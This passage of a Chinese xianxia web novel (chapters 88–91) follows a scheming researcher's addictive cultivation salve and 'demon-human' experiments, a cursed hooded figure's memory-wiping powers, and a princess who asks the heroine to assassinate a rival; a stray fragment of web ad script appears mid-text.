东闲猜这跟她立坟祭拜的人有关，如今决定赌一回。
这家伙简直淡定得过分，在东闲放言后，东闲仍看不透亓沂的神情，却是知道她心中起波澜。
因为在火诀掐出后，她随手甩到空中，似一朵盛放的凤凰花，而在凤凰花内是她同时抛出的二十面传送骰。
几人注意力皆在她身上，尤其是亓沂，深深地看着她。
为时已经晚了，三人发现的时候，二十面传送骰的作效已经生效，不可强行中断。
二十面传送骰在半空中翻滚折射出二十面的光芒，其中两面照射到她们身上，恰恰好记录的是怡红院的位置。
其中上官莲蓉惊道：“那不是我的吗？”
上官莲蓉气得骂出声：“***，还我的东西来。”
她剩余未吐完的骂骂咧咧在二十面的传送骰的照射下，被传送走，同样的还有另外二人。
在被传送之际，亓沂说了一句话。
毫无感情的——
“你忘了。”
怡红院内，亓沂看着这地方轻轻松松进来了，有些哑然。
她不想放走东闲，但是进入怡红院也是她的目标之一。
不过她也不是故意放走东闲，在场的气息不止她一人，有人在警告她不要对东闲动手，而她又有很多事要忙，此次前来怡红院是瞒着长老们，不可为他们知晓。
亓沂决心放过她也放过自己，下一次无论如何她都不会放走东闲。
至少得知道东闲到底做了什么，才叫她成为一个需要盗取朝天圣果才能修炼的凡人。
“这可是最新研制的焕新膏，你难道不想用吗？”
被这一声牵引，亓沂做出了最快的决断，砍晕了身旁即将经过的二人，夺得了她们手上的焕新膏，却也发现自己暴露了，便大大方方地走了出来，与那堂上人的独眼对视。
***
在白烟起的那刻，在场几个愤怒的人神色交换，朝着岑为霜事先示意的某个方向而去，至于他人早因这场变故或主动或被动地离开。
白烟与黑灯皆是岑为霜所为，这场妖人试验并没有打算要在众人眼皮底下施行，她真正的目的在于往生的成员。
往生的其他成员眼中的惊怒得到了宣泄的来源，毫不客气地向岑为霜释放着刀子道道。
相较于众人疑似被背叛的怒火，岑为霜显得太过冷静，语调不掺杂任何情感，甚至没有起伏。
“我没有隐瞒你们。”
众人冷笑。
你是没有隐瞒，但你也没说，你偏偏对我们没说，只在那请帖上写着让我们务必要来，结果就见到是这种惊喜。
一壮年男子怒斥而道：“岑为霜，你可知你在做什么，我们苦心经营多年往生，只要对焕新膏加以改进研发，它会获得更厉害的效果，而你不声不吭地召开妖人会议，是想让我们多年的经营毁于一旦吗。
“妖人这种不三不四的存在，你觉得世间又有谁会去接纳，你的计划不会得到成功的，你应当继续研制你的焕新膏不要再想有的没的。”
她摇了摇头，道：“你们无法否定我的成功，至少成为妖人还是你自己，但成为魔一定不是。”
男人怒极，叫道：“岑为霜，你可别忘了你现在的身份，是谁支撑你到如今，是往生也只有往生。”
岑为霜闻言，看男人的眼神就像看一个无能狂怒只会拿别的事说事的存在。
“你们也很需要我不是吗，不然我怎么会站到今日。”
男人被她看得更加恼怒。
另一个眉目慈善得如同弥勒佛的女人阻断了男人的说话，她道：“你做这么多到底想要什么？”
岑为霜道：“我要向你们证明我的妖人计划是成功的，我能做到的不仅是创造焕新膏。妖人能够适配妖兽所得的天赋，他们将会与妖兽一样天生就以灵气为食，将会比修士更快地吸食灵气。”
老妪道：“除非你能弄出一个真正的妖人证明你的计划是正确的，我们可以考虑妖人计划。”
男人震惊看着她，其他人虽也有不满，但是动动脑子也都知道岑为霜想要的是什么，这个疯女人的想法其实很简单，她要她的研究成功，让所有人去认可她。
岑为霜勾起唇角，露出的眼眸里染上满意之色。
“不负您诸位的希望。”
她又扔出一样东西到男人手上，似是看出男人过于暴怒的情绪是为何。
“看来你很需要它。”
男人拿到的是焕新膏，他打开焕新膏，嗅到里面不同于以往的香气，但比以往更加致命诱人沉沦。
“这是最新研发的焕新膏？”
他涂抹一点留在眉心，感觉全身心舒爽起来，胸口时而会发作的排异效果完全给压了下去，难得没感受到窒息的难受。
他那张愠怒的面孔呈现一分惊喜，“竟然比过去的焕新膏药效更强！”
要知道，替换星宿传承会带来排异效果，越是原本身负低星宿传承的人，换了过高的星宿传承，身体越难负荷，可一般人要换星宿传承，那当然是低星宿传承的人想换，而都换星宿传承了，必然是替换成高星宿传承，于是他们这类人需得承担着莫大的痛苦。
排异效果带来的方面不单单是身体的痛苦，还有星宿传承使用的次数限制，体内灵力的流失，而这些都是焕新膏能够控制的。
可惜焕新膏只是能控制，带来的影响不可磨灭，长期的服用会影响一个人的理智，而在用了岑为霜新研发的焕新膏后，男人明显感觉到自己头脑清晰，耳清目明，是从未有过的舒畅。
据闻只有星君赐福的内丹，可以使替换来的星宿传承完全成为自己的，只是这类人太难找，拥有星君赐福的注定又天资卓越，个个被星君降下机遇，那么剥夺他们的内丹难上加难，于是初生香为一类修士们热衷。
初生香需要长期服用，其量又稀少，故而才使得焕新膏的贩卖只增不减，作为替代品的焕新膏能带来的效果比较有限，但已经能够为他们绝大部分修士接触，不用担心争抢的烦恼。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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男人也替换过星宿传承，他经常使用焕新膏，但是没有一次觉得比这次使用得到的感觉好。
替换星宿传承会带来莫大的疼痛，并且还有灵气溃散修为倒退的风险，境界越高的修士越需要焕新膏的供应，可它的毒素将深入骨髓，这种痛苦很难熬过去。
而新研发的这个几乎能让他的身体与寻常人无异！
他很久没感受过一个健康的身体是什么样的了！
男人忘却愤怒，沉浸于喜悦之中。
当男人打开焕新膏的时候，那香气飘散出来勾着在场所有人的鼻子，引得他们忍不住也想抹点于眉心中。
弥勒佛似的女人就算没有使用焕新膏，也能感觉到岑为霜给的焕新膏不一样，是更新迭代过的新品。
“岑为霜，你已经研发新品了？”
岑为霜道：“是的，经过最新的研发，它能够提升□□与星宿传承的契合程度，稳固修为，我对焕新膏的形式还做了更改，它可以是烟、可以是香，不出两日，我会让你们看见一种新形式的焕新膏。”
老妪问道：“你不单单改变了它的载体吧。”
岑为霜不置可否，“它的诱惑能力将不仅对替换星宿传承之人有效，也许是低境界的修士，也许更广，我从未放弃焕新膏的研究，也不会放弃把它开发到极致的地步，对于妖人试验我也有所想法，你们应当不会继续阻拦我的一点小爱好吧。”
一众人见她这样，稍稍放了心，也了然她的意图，岑为霜还愿意随身携带焕新膏这说明她没有叛离往生的打算，作为研究制作焕新膏的主要人员之一，他们不能失去她，所说的那些狠话也只是狠话。
她并不太客气甚至有些粗鲁地送客：“还有私事要处理，我便不送客了，您诸位慢走。”
他们知道她的私事是什么，处理那些在她的怡红院躁动的家伙们。
一干人感觉自己被戏耍了般，憋着的气发泄不得，最后只能离开。
男人道：“难道就放任她去实施什么妖人计划吗？”
弥勒佛似的女人道：“你们给她的权力太大，便会造成今天这种局面。”
男人道：“作为研究焕新膏的领头人，不给她一点权力实在说不过去吧。”
橘红色罗裙的女子道：“岑为霜太聪明了，也有野心，这样的人难以掌控，她最好只是临时起意，而非借此叛逃。”
老妪道：“放心，她是个聪明人，知道谁才是她真正的归属，贪多可不是好习惯。“
女子试图反驳：“可她看起来不是乱来，她只要有念头，那必定要把事做绝，当初的焕新膏便是如此，你们忘记她制作焕新膏如何疯魔的样子吗。”
老妪不轻不重地呵斥道：“对于自己人，你该多一份信任。”
女子讪讪地闭言不语。
老妪突然望向男人，道：“你先走吧，她要你做的你就去做吧。”
这群人不知道，岑为霜的妖人计划已经成功了，她有一个出色的实验品，可惜她不能把这个实验品放在身侧，若是一个完美的妖人被发现，他们定然想办法毁灭妖人，于她而言将是毁灭性的打击。
岑为霜不允许这种事发生。
侍从道：“主人，明日他将登上了鲲船。”
岑为霜神色冷冽，原本假装的喜意尽无，意料之中会成功的事，她本就不觉得有多喜悦，毕竟妖人计划可未必能伤到他们的利益，他们反应强烈，是因为忌惮魔尊，魔尊的力量在慢慢恢复，他们担心魔尊出来后会报复他们。
妖人计划会让他们明白他们的忌惮多么无用多余，有了妖人计划的施行，他们将得到魔尊能够得到的力量，当初跟魔尊合作，不正是也想借它的力量吗，而妖人计划可以让他们不用寄魔篱下，也不必担心魔尊的报复。
“妖人会成为我们最忠实可靠的伙伴，就像那群只听任于魔尊的魔一样。”
“看住他，别让他死了，无论付出什么样的代价。”
她道完这一切，让所有人退下，等待另一个人。
另一个人从正门而进，微微抬首，与楼上的岑为霜对视。
她用那只独眼看向下方人的面孔，道：“我认得你，玄清宗的弟子，亓沂。”
89.第 89 章
亓沂道：“我是第一次见你。”
她对岑为霜认识她这件事没有感到丝毫的意外，语气神情从容平淡得过分，好似这天下人都该熟知她的大名。
岑为霜因对方的张狂而挑眉，道：“我名唤岑为霜，是往生中的圣者。”
她复而扬唇笑道：“怎么，想来见我，你也对我的妖人感兴趣？你有八成的奎木狼星宿传承在身，这等天赋的确让人艳羡。
“抱歉，我说话有点绕，你应该能听懂，八成星宿传承虽为世间罕见，但在我这，你可以拥有更逆天的天赋。”
亓沂似发出一个笑音，但她的面容看不出任何笑的迹象。
“你能够让所有人都变成天才，我要做的是那个唯一。”
岑为霜道：“看来你找我这是另有事要谈了。”
亓沂道：“没什么好谈的，我想见你的焕新膏制作过程，所谓的妖人又是出自何种原因。”
岑为霜道：“我不做亏本的买卖，我都告诉你了，你能给我什么？”
对方深深地看了她一眼，“那便期待你别落在我手上的那刻吧。”
她转身离去，看也没看岑为霜倏地变化的面色，身影很快消失在岑为霜的视线内。
岑为霜道：“还真是如传闻中所说的无二般差别，不知这狂妄能支撑你多久。”
阿棠来的时候，看见岑为霜的唇角下拉，便知道亓沂与岑为霜的谈判并不愉快。
阿棠如实禀报：“她把最新研制的焕新膏抢走了。”
与其说抢不如说是岑为霜送的，所以岑为霜并不生气。
反而面上漾出一点笑意来。
“我便祈祷她能受得了焕新膏的诱惑，可惜她拿的是药效最强劲的，连我都不知服用之后会是如何效果。”
岑为霜的怒气瞬息得到消解。
岑为霜又道：“不用管她，其他的事情都处理好了？”
阿棠：“回主人，不该出现的都已经处理完毕。”
岑为霜颔首，道：“我有一个老朋友来了，得去见见。”
上官莲蓉和邱少英去寻亓沂，看见亓沂来了，其中上官莲蓉率先出声道：“亓沂师姐，我们要不再追上去吧，她显然没有应对之能。”
亓沂回想那刻，面具破碎露出的面庞令她震住，她一时竟什么动作都做不出来。
有个家伙曾在试炼里跟她说会送她一个惊喜。
呵，这可真是个大惊喜。
瞧她的样子，是完全忘记自己了吗，还是觉得逗弄自己很有趣。
亓沂抿唇，压住浮躁的情绪，道：“你可知那人手上还有什么法器，又是何本事能够藏到今日，贸然出手害了你我，我不会管你。”
上官莲蓉讪讪地应“是”，不敢再说追人一事。
亓沂又问：“鲲船的事处理好了没，今日休整一夜，明日继续与我登船。”
上官莲蓉和邱少英都垮下了脸，其中上官莲蓉悄悄拧了下邱少英的胳膊，惹得邱少英吃痛引来亓沂的注意。
邱少英心下给上官莲蓉记了一笔，硬着头皮道：“亓沂师姐你强行突破境界不久，贸然去应战恐怕会伤到你的身体，导致境界倒退，不如我们等您的境界稳定再去，依您的能力定然用不了多少时间。”
亓沂道：“与你们无关，做好你们的本分。”
上官莲蓉与她眼神暗示，不会真要给亓沂师姐下药吧。
亓沂又道：“别想歪点子。”
虽然背过身子，却是对她们二人的小动作了然于心。
被戳破心思的两人悻悻地道：“绝没有。”
两人同时心想，月华长老不是我们不想拦亓沂师姐，是整个宗门就没几个人能拦亓沂师姐。
另一旁逃走的东闲抚脸思忖亓沂的手下留情是为何，她最能感受到亓沂那刻的惊诧，是因为这张脸像还是——
是。
她未来会欠这么多债吗？
东闲忽地想到亓沂竹屋前的坟墓，有一种被骂到的感觉。
不会吧。
一只信鹤送到她面前打断了她的思绪，东闲打开一看，是来自林纾衣的。
“早些歇息，明日我们再谈谈第二个条件。”
连一句谢谢都不说，虽然她也没出什么力。
东闲抛出二十面传送骰，她已经把里面记录的位置给清除了，想要知道上官莲蓉记录了哪些位置，还得一个一个慢慢试，这有一定的风险，所以东闲选择清除。
虽然二十面传送骰不能远距离传送，但说不准哪日需要呢，她有预感自己还会来怡红院的，于是记录了怡红院的位置。
罩袍人与朝天宫的人的斗争并没持续太久，罩袍人很快解散灵域，两手收在罩袍之下，吐字道：“走。”
同伴想要上前去拦，“你这个人……”
白薇呵斥道：“冷静点，我们已经浪费太多时间，如若那人是连筝师姐要找的人，浪费的时间也足够她跑掉了。”
她觉察到罩袍人的古怪，与她多处一刻就无法控制心中增生的恶意，方才她与同伴皆屡次出恶招，好似面临的是血海深仇，白薇私以为不明情况的前提下，还是不要与此人多处。
而且她有更重要的事要禀报给连筝师姐，那个疑似盗学连筝师姐的窃贼时隔几月居然再度出现了，她最好把那人抓来交给连筝师姐处置。
朝天宫的两人便走了，罩袍人却是没走，因为有人来找她。
莫连理冷然道：“拿了我的东西，找死。”
说着，也召开了灵域，把罩袍人拉了进去。
天被雷电覆盖，震耳欲聋的雷鸣轰声听得人心惊肉跳，劈下的雷电砸得到处都是烧焦的坑洞。
罩袍人气息如初般平稳，不受其影响。
“就先让我看看，你这罩袍下是如何一张见不得人的脸。”
受他召令，漫天的雷自天而落下，要冲罩袍人而去，可惜他的想法还没落实，这天幕多了一双眼睛，雷电纷纷为之避让，睁开的明明是金瞳，他却从那神圣的金芒中看到淋漓的鲜血。
他脸色奇差，自己的人手大多帮着怡红院去处理那些不速之客，原以为自己就能拿下对方。
在金瞳的注视下，他神色崩
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溃，什么反应都不曾有了，密布的雷电消散，这片灵域变为雪白的天地。
莫连理神色惊惧，他觉得自己的面具与脸要一同皲裂破碎，视线中的罩袍人不受丝毫影响，那团雷电到她手中乖顺起来，她像玩皮球一般抛向远方。
她对男人道：“我要浮光兽的血，灌上三个酒坛，明日送到碧连山来。”
随着她的话语落下，灵域撤去，她也离去，不给任何反驳的余地，莫连理方觉那点压迫散去，已无心再去反驳，方才骇人的景象叫他学会闭嘴。
那只天眼给他带来的影响太大，他的记忆受到影响，忘记了自己与罩袍人的恩怨，脑海深处的一个念头告诉他不要忤逆她，照她说的那样，把三个酒坛量的浮光兽的血送到碧连山。
“兄长。”
莫连理听到这道声音，全身一震，他转身看去，面上的惊愕都难以掩住。
“你怎么会在这？”
莫吟洲看着他，“我方来。”
他目光点了下他的胸口。
“你替换了星宿传承。”以一种肯定的语气。
莫连理脸上有片刻的雪白，心中更是生起一种恼怒，睫毛垂下遮住眼中的阴翳，道：“你知道我的难处，我没有办法，为了家族的荣耀，我不能是个废人，阿洲你永远站在我这边的对吧。”
莫吟洲轻轻地道：“我一直都相信你，兄长。”
莫连理闻言一喜，道：“你再帮兄长一把，送三坛浮光兽的血到碧连山去，届时会有人来取。”
浮光兽是五阶妖兽，妖兽品阶从一到九，一口气要三坛的血量，起码得杀五头，且要在一天之内送过去，这无疑是件很难的事。
但是莫吟洲面不改色地应下了，丝毫不见为难之色。
“兄长需要，我便会去做，只要兄长满意。”
莫连理上前按住他，笑道：“好，好，兄长也信你。”
他帮莫吟洲甩到前面的麻花辫放到后面去，道：“吟洲，做完这件事我们聚一聚吧，许久没见我很想你。”
莫吟洲面上终于浮现一种情绪，他弯唇道：“好，我会尽快完成与兄长再见的。”
莫吟洲问道：“兄长还要继续留在这里吗？”
莫连理道：“处理些事情，不是什么大事不用担心。”
莫吟洲应下与他分别，莫连理急着想把莫吟洲糊弄过去，却忘记问莫吟洲为何出现在这。
只见莫吟洲的背影消失，他才走进了怡红院。
他需要知道自己方才经历了什么，识海内疼痛不已，没有秀清仙乳那样的宝贝修复识海，绝对会出事的。
该死，到底发生了什么。
罩袍人却未离开太远，她观望着这兄弟二人的交流，直到身后有人到来。
她未看来人，或者说已经知道来人是谁才不会回头看。
“那就是你的人？”
言语中透露着鄙夷，实是看不惯以亲密深厚的感情为由要挟亲人为自己做任何事，也藏着浓浓的嫉妒。
一个她瞧不上眼的存在，拥有她终生所渴求的，她心绪难宁。
90.第 90 章
岑为霜没有回应她话的想法，但她听出罩袍人掩藏在言语下的情绪波澜，死死压抑着，却还是露出破绽。
“你压着点，不然‘她’又出来了。”
罩袍人更觉厌恶地道：“你还是想不出让‘她’与我分离的方法吗，真想亲手解决‘她’。”
罩袍人与岑为霜的关系源于一场合作，岑为霜因为对罩袍人身上的孤煞咒有兴趣，想做研究，而罩袍人正好深受孤煞咒的困扰，希望能摆脱孤煞咒的影响，两人互补需求，于是成了合作伙伴。
这回下山，罩袍人也是因为岑为霜的召唤，而岑为霜让她下山的主意是想让她看看妖人试验，问她有没有兴趣。
岑为霜道：“按理来说，想要彻底根除‘她’除非你的孤煞咒被破解，可惜至今没有人躲得了孤煞咒的吞噬。”
罩袍人言语不耐地插嘴打断：“是没有人给我们活路。”
把她关在碧连山十年，与世隔绝，十年之后所谓的放她出山，不过是让她在临死前体会世间对她的恶意。
岑为霜没有因她的失礼而生气，继续道：“我有个可行的法子，你要不要试试我的妖人试验，也许能在你身上发生意外的变化。”
罩袍人闻言两眉狠狠地一抽，她毫不怀疑对方不是诚心想帮她，而是只想看看孤煞咒与妖人试验奇妙的融合，以来满足她的好奇心。
“你死了这条心。”
岑为霜看着她，失望地道：“那可真遗憾，像你这种特殊的存在世间仅有一个。”
在感受到对方的情绪越来越不宁前，岑为霜又出言问道：“你对我的妖人计划就没有想说的吗，需不需要我为你介绍一遍？”
罩袍人道：“我下山来不是看你的妖人，你答应我的事情还没办好，仔细你的重心，日后也别再联系她，她不会再有我的消息。”
岑为霜挑眉，听出这个“不要找她”的言外之意，意外道：“你是要下山了吗？”
是另一种意义的下山，以灭世之人的身份下山，而不是用罩袍掩盖身份，用符咒遮掩孤煞咒带来的影响。
罩袍人轻轻“嗯”了一声，复又阴冷地道：“别想窥探我。”
岑为霜道：“明明是老朋友了，你对我还是如初见一样抵触。”
罩袍下的目光扫了眼贴在内侧的符咒，冷漠地道：“你可不是我的朋友。”
岑为霜道：“因为我无法抵抗你身上的诅咒吗？这世上不会有人能够抵抗住你的诅咒，孤煞咒至今不可解，看来是在等我破解孤煞咒。”
她闻言竟是笑出声，岑为霜听过她的笑声，厌恶的，嫉恨的，愠怒的，各种情绪混杂其中，独独没有现在的欣喜。
岑为霜若是听到别人开心大笑会觉得很正常，但是放在身边人身上只觉得她是疯了。
她担忧地问：“让你走了这么远的路，该不会路上有人对你动手了？不会影响我接下来的研究吧。”
罩袍下的笑意微滞：“滚。”
岑为霜难得开了一次玩笑，笑出声。
“莫家的小子你得处理了，他替换了八分的轸水蚓星宿传承，将来会把莫家雷法天罚一术修炼得更出色，那是天底下最克制你的秘绝，你若要活着，必须除掉他。”
罩袍人：“他不是你的人？”
岑为霜无辜地道：“他是我的人，但是这不耽误你我的对话。”
罩袍人不言语，如何对付莫连理她自有一番想法，如若孤煞咒一日不得消除，她最好让莫家的雷法天罚失传。
岑为霜又道：“在你走前，再帮我一件事，我有个人需要你清理一下记忆。”
罩袍人道：“我的天眼不是用来清除记忆的。”
岑为霜意有所指地道：“反正你不止一次这么做了不是吗。”
罩袍人拂袖朝另一个方向而去。
岑为霜在后面提醒道：“你去过那个地方，金竹见到你会告诉你的。”
罩袍人未回身，道：“她现在的状态能说一句正常的话？”
她见过几次金竹，因每次见到金竹都是在疯疯癫癫地研究焕新膏，所以金竹在她心中的形象一直不太正常。
岑为霜道：“我交给她办的事情，她总会处理得很好。”
莫连理来时，看见的便是岑为霜面上还没来得及消去的可惜之色，看到这种神情他便知道又是哪个人要倒霉了。
“又见到一个可以研究的好苗子？”
岑为霜回道：“她可动不了。”
莫连理感到惊讶，能让她看上的研究对象无论对方是什么身份地位都得为她的研究牺牲，这个疯女人曾经就因为打上不该打上的主意，让整个往生为她擦屁股。
就这样一个人居然有一天会说出动不了这种话，她若是能听话，往生都要烧高香了。
他一直知道岑为霜是个疯子，尤其表现在她对研究的痴迷与热忱，这可是连继承自己衣钵的亲徒弟都敢拿来做实验的狠人。
岑为霜不打算在这个话题上继续，转而道：“你是为了妖人来找我吗，还是为了别的什么？”
莫连理心下明了，恐怕她觊觎的这人是有一定的本事，他识趣地没有继续这个话题，转而道：“方才我的记忆受到攻击，那人让我送三坛浮光兽的血到碧连山去，你可知是谁来了吗？”
碧连山这个词他说出来居然有一种既陌生又熟悉的感觉，但是因为脑海里想不到与它挂钩的记忆，所以莫连理没能记起来。
岑为霜道：“我劝你还是不要记起来。”
她将一个新研制的焕新膏交到莫连理手上，“我新研制的，试试？”
莫连理有些抗拒地看着这包装明显变化过的焕新膏。
他可比谁都要相信焕新膏带来的负面影响，那群人以为只要少量服用就能降低入魔的风险，但是焕新膏是有上瘾性的，他们会越来越克制不住对焕新膏的欲望，哪怕排异效果没有发作，他们也会想用焕新膏。
这便是为何莫连理在得知自己初生香被人盗走后，表现出极大的愤怒，可惜他记忆丧失，连自己派人找初生香的记忆都忘记了。
岑为霜道：“你
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不是已经用了吗，难道药效不好？在没有初生香前，你总归需要用到它的，这瓶白送你，我可没收你的钱。”
莫连理面无表情地把焕新膏收了下去，道：“那便多谢了。”
岑为霜问道：“你要来试试妖人吗，我可以帮你的，妖人将比拥有星宿传承的修士更强劲厉害。”
莫连理想也不想道：“如今的状况我已经满足，不劳你费心了。”
莫连理是在动了替换星宿传承的念头接触到岑为霜的，岑为霜为他保证星宿传承的稳定，而他要给岑为霜需要的材料，今日他受邀来到怡红院，一是岑为霜有意让他了解妖人，二是来送一些岑为霜需要的材料，顺便看一下哪些不老实的想动手。
岑为霜又道：“百仙盟的人也都该来了，你且先等着，我还有笔交易跟他们谈谈。”
莫连理不可置信地道：“你真打算与百仙盟合作妖人？”
岑为霜不置可否，“也许他们有兴趣呢。”
这举止分明是在往他们的雷点蹦跶。
莫连理听出她的打发之意，于是转身离开，怡红院刚走出一个身影，紧接着又承上另一道身影。
逐渐宁静的怡红院，很快恢复了往日的热闹，新客旧客都来光临了这处人间天堂。
怡红院正常开业，方才的动乱在岑为霜的计划之中，所以处理起来及时又快速，一下便能恢复营业。
束着白发的女人，伫立在怡红院的牌匾前目光定定地落在牌匾上的三个大字。
“怡红院。”她呢喃着。
据说师尊死之前来过怡红院，是要见一个人，她来怡红院便是来打探师尊死的原因。
鸦昤根本没有回到不夜天，她向玄清宗请辞，却是向宗门隐瞒了踪迹，孤身一人调查师尊死亡的线索，于是来到幽云城。
门口接应的下人迎了上来，似乎是看出她是个生面孔，热情地为她介绍怡红院并且询问她需要什么。
白发女子如是说道：“我不要美人也不要好酒好菜，更不需要留宿，这个问题我已经解决。”
说完这些，鸦昤后知后觉地意识到自己听起来很像是来砸场子的，毕竟怡红院表面做的生意就是她说的那些。
“您是要特殊服务？”
鸦昤抿唇，道：“不必。”
不夜天乃是名门正派，她自然不会做有辱宗门的事，何况她也示盗取他人星宿传承为不耻。
下人的修养很高，即便对方疑似是来闹事的，也不摆脸色，只是和气地道：“那姑娘可是来找人的？”
鸦昤连忙道：“是的，我是来找一个人。”
下人：“抱歉，怡红院注重所有客人的隐私，恕我们不能透露。”
鸦昤一拍脑袋，懊恼极了，明明能直接找个理由搪塞过去，何须跟那下人解释，反正进去了又不是他来接应自己，届时自己再寻线索便是了。
鸦昤只得离开，决定换身打扮再来一次。
不曾注意到暗里几双凶狠的眼盯着她，那是极具辨识度的眼，因为是属于魔修的。
91.第 91 章
东闲休息过一夜，端坐在梳妆台前，看着这张属于自己的面孔，衷心地发出一声感慨。
终于不用大费心神捯饬发型。
在玄清宗时，她为了贴合慕婉思的形象，日日都要耗费时间整理仪容，并非她手残的缘故，她有心去学总能学会，只是慕婉思的发型复杂，总要耗上一定时间，东闲是不愿意把时间浪费在无意义的事上。
东闲这辈子都不爱束发，无论什么时候，都是一头乌黑亮丽的墨发懒倦地披散下来。
如今，她看着铜镜中的自己很是满意。
她从储物袋中照常拿了几颗丹药，以来掩藏体中的朝天圣果。
她不喜有人打扰，侍候的仆人已经端来洗漱用具，因为不确定她何时醒来，温水已经换过好几次，只为保证东闲醒来能用上不冷不热的水。
等到东闲洗漱完毕，她离开居所，独自在府上晃荡起来。
林纾衣并不下令限制东闲的行踪，路过的下人们不会阻拦东闲的步伐，她们只要保证东闲还在府上。
婉转动人的咿咿呀呀声绕梁而来，甚比莺啼惹人喜爱，东闲心下微动循声而去，瞧见了花团锦簇中唱戏的人。
即使画上夸张的浓妆，穿上宽大遮蔽身形的戏服，东闲依然能认出是林纾衣。
东闲从来没觉得戏有如此好听，她觉得林纾衣唱得大抵是好的，能感受到林纾衣戏中丰沛的情感，哀怨的，令人动容。
曲调应是来自“贵妃醉酒”，身后以雪白雕刻猛狮的照壁为景，垂下的凌霄花张扬热烈映衬着她美丽动人的容颜。
林纾衣一人站在那，便能独自成戏，哪怕无人与她对戏，也仍旧叫人看得如痴如醉，这是源自于她对戏演绎的魅力，而非她的容貌。
当她转了个调，突然将一双被吊长的美目落在东闲面上，像个羽毛似的轻轻地撩一下，东闲忍不住心下一颤。
据说，林纾衣还在幻音阁时，天下第一美人的名号就被打了出去，那段时日，有不少修士想要拜入幻音阁，为的是能与第一美人日日相伴，结果天下第一美人师承钱独善，钱独善是个性格古怪的人，并不让座下弟子跟着大家修行，那些拜进幻音阁的弟子鲜少能碰见林纾衣，为此哀叹不少。
东闲道：“公主每日都会唱戏吗？”
明月答道：“公主日日都会晨起唱戏，不过今日是为姑娘而唱。”
东闲挑眉，道：“我怎么觉得有些古怪。”
明月：“姑娘不喜欢这出戏？”
东闲笑：“我欢喜都来不及。”
戏中的女人，完全沉浸在戏曲之中，东闲一眼瞧得出她对戏曲的喜欢，这并非是什么要紧的场合，她的扮相是一个也不落，尽管她只是兴起而唱。
东闲：“公主怎么会学戏？”
明月道：“是娘娘教的好，公主总是难过不能学到娘娘的精髓呢。”
林纾衣唱戏的本事是同她母亲那学来的，她的母亲曾是名动天下的伶人，也是天生无灵体之人，不能修炼。
当初老国主此后虽说没怎么宠幸过她的母亲，但也没亏待她们母女俩，作为妃子与公主该有的吃穿都给安排得好好，比林纾衣的母亲过去当伶人那段时间舒适了不少。
母亲热爱唱戏，无事的时候就会唱戏与林纾衣听，林纾衣爱极了母亲唱戏时的自信，她一直觉得母亲是天下第一美人，唱戏的时候，更是觉得母亲的美哪怕是后世都无人能超过，因而也爱上唱戏。
老国主在把人纳进后宫后，就把人忘得一干二净，天下第一美人固然美，可整日痴恋于戏，并不如其他妃子争风吃醋，老国主被捧了一辈子自然看不下她母亲的做派，何况那时的老国主有了一生忘不了的挚爱。
后来，林纾衣的母亲因早年落下的病根而早早逝世，老国主更是不记得这个女儿。
直到民间传出天下第一美人就在幻音阁还是他的女儿的消息时，老国主才知道自己曾与上一个第一美人诞下一女。
而后才把不知被他遗忘到哪个犄角旮旯里的人给叫出来，做了回慈爱的父亲，给林纾衣封了个琼玉的封号，给她的母亲升位分，然而这个时候，她的母亲早就已经病故而亡。
大抵入了后宫的美人都得薄命，无论是曾经的第一美人还是老皇帝的挚爱，都早早得病而死，好巧不巧的是，林纾衣母亲死的时候，老国主的挚爱也紧跟着死去，那段时日，整个后宫都在为老皇帝的挚爱哀恸，不知道一代第一美人曾也悄然逝去。
老国主得知他还有个女儿后，便觉得尴尬了，开始关心起这个女儿，结果发现林纾衣并不以此为怀，是个乖巧懂事的女儿。
俗话说会哭的孩子有糖吃，林纾衣太过懂事反而不那么讨喜，很快老国主把这个女儿忘记，这个女儿除了美貌外平平无奇，虽然继承了他的血脉没有因她的母亲的体质而不能修炼，但他膝下有那么多儿女等着疼爱，何况还有挚爱留下的儿子，老国主不可能在意一个没什么大才的女儿。
外界多传林纾衣的美貌，她的美貌盖过她的本事，所有人谈到林纾衣，都是一个空有美貌的花瓶，却不曾想到就是这样一个不被重视的花瓶，会在争夺国主之位时不声不响地活到最后。
这是东闲已知的，也是别人已知的，林纾衣到底是什么样的人，她接触并不多，她觉得会是一个很有趣的人。
林纾衣唱完一出，一双狭长的美目又迤迤然落在东闲身上，似乎在笑话东闲的失神。
东闲抚掌叫道：“好。”
林纾衣似笑非笑，“哪里好？你莫不是光顾着盯我忘记听戏了吧。”
东闲不可否认，某种意义上，她确实失神了。
“明月，好好照顾客人。”
林纾衣拂袖离去，准备卸妆沐浴重新梳洗打扮。
东闲被带到大堂等候，等她再次见到林纾衣，林纾衣又换了身粉嫩的华服，薄纱下两
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截藕臂若隐若现，妆容也为了配合装扮做了点变动。
她见过林纾衣以来，发现林纾衣对衣服的颜色与形制没有偏爱，似乎每一种都会试试，当然，每件衣裳要足够好看华贵才行。
林纾衣款步而来，经过东闲时，身上清淡的芬香送入东闲的口鼻。
明月道：“公主，东方苍岚并不愿与我们合作，如若让他同意，他说要让我们拿出百清除秽液看看诚意。”
林纾衣半靠在美人榻上，目光微移，轻飘飘地落在东闲身上，似乎是在等她的看法。
东闲道：“好一个狮子大开口，为公主办事是他的福气，他既然无福消受，杀了便是。”
说出这话的她真像是为博美人一笑而不惜一切代价的暴君。
林纾衣笑而不语，只看着她。
东闲意识到自己搬起石头砸自己的脚，眨眨眼，表忠心道：“我自是不同，我是真心待公主。”
林纾衣问道：“何以鉴真心？不如你帮我把东方苍岚杀了吧，以你的能力，杀死一个人不难。”
东闲却想，杀死一个人就已经很难能够做到，她想杀完人还能安然逃出来，更是痴人说梦。
这可真是个棘手的差事，东闲还拒绝不得，林纾衣从一开始就打算让她去杀了东方苍岚，这应当就是她所言的第二个要求。
于是，她扬起笑脸，很是顺从地道：“乐意为公主效劳。”
林纾衣也不再与她绕弯，直截了当地道：“你该知道我想要什么，我竭力保持与他们能够抗衡的局面，事实上，我的势力最单薄，我能留到最后，是因为他们还不把我放在对等的位置上。”
老国主众多子嗣中，唯有三人最有望继任下一任国主。
林纾衣，林霄云，百里听寒。
其中百里听寒虽然并非王族之姓，但他的姓是随母亲，他的母亲是老国主的真爱，这意味着老国主一定极为疼爱他。
然而，这最后的夺嫡之位最有望获得者，是林霄云。
“百里听寒同他的母亲一般，都是个天生痴情种，一个月前，他的妻子为魔尊手下大将玉所伤，危在旦夕，气息奄奄，他为此四处奔波求药，无论以什么样的代价都要换得他妻子的活。”
